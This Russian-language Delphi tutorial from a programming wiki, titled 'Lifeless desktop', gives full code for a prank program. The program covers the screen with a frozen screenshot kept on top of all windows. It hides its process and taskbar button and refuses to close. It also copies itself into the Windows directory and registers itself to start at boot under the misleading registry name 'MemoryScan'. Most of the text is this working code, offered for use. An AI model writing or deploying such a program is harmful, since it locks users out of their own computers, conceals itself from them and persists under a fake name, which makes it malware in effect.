Безжизненный рабочий стол
Материал из DRKB
Безжизненный рабочий стол[править | править код]
Алгоритм следующий: нужно на форму вынести компонент класса TImage скопировать в него рабочий стол и растянуть во весь экран. Делаем это по созданию окна [событие OnCreate()]:
procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC: HDC;
Canvas: TCanvas;
begin
ScreenDC := GetDC(0);
Canvas := TCanvas.Create();
Canvas.Handle := ScreenDC;
Width := Screen.Width;
Height := Screen.Height;
Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
Canvas, Rect(0, 0, Screen.Width, Screen.Height));
ReleaseDC(0, ScreenDC);
Canvas.Free;
end;
Затем нужно свойство формы BorderStyle установить в значение bsNone, чтобы не было видно боковины окна, а свойство FormStyle - в fsStayOnTop, дабы наше окно всегда было всех других окон!!! Свойство Align компонента Image1- в значение alClient, чтобы картинка занимала всё свободное место.
Далее позаботимся о том, чтобы наше приложение не было видно и чтобы пользователь не мог завершить его :-))
Событие по созданию окна в конечном итоге должно выглядеть так:
procedure TForm1.FormCreate(Sender: TObject);
var
ScreenDC: HDC;
Canvas: TCanvas;
h: TRegistry;
begin
ScreenDC := GetDC(0);
Canvas := TCanvas.Create();
Canvas.Handle := ScreenDC;
Width := Screen.Width;
Height := Screen.Height;
Image1.Canvas.CopyRect(Rect(0, 0, Image1.Width, Image1.Height),
Canvas, Rect(0, 0, Screen.Width, Screen.Height));
ReleaseDC(0, ScreenDC);
Canvas.Free;
if not (csDesigning in ComponentState) then
RegisterServiceProcess(GetCurrentProcessID, 1);
WinDirP := StrAlloc(MAX_PATH);
Res := GetWindowsDirectory(WinDirP, MAX_PATH);
if Res > 0 then
WinDir := StrPas(WinDirP);
if not FileExists(WinDir + '\OurProgram.com') then
CopyFile(PChar(Application.ExeName), PChar(WinDir + '\OurProgram.com'), False);
h := TRegistry.Create;
h.RootKey := HKEY_LOCAL_MACHINE;
h.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True);
h.WriteString('MemoryScan', WinDir + '\OurProgram.com');
h.CloseKey;
h.Free;
end;
На событие OnCloseQuery() формы напишем:
CanClose := False;
На событие OnActivate():
ShowWindow(Application.Handle, SW_HIDE);
В области public объявим несколько переменных:
public
{ Public declarations }
Windir: string;
WindirP: PChar;
Res: Cardinal;
А в uses подключим модуль Registry:
uses
Registry;
Source: http://delphiworld.narod.ru/
ID: 01835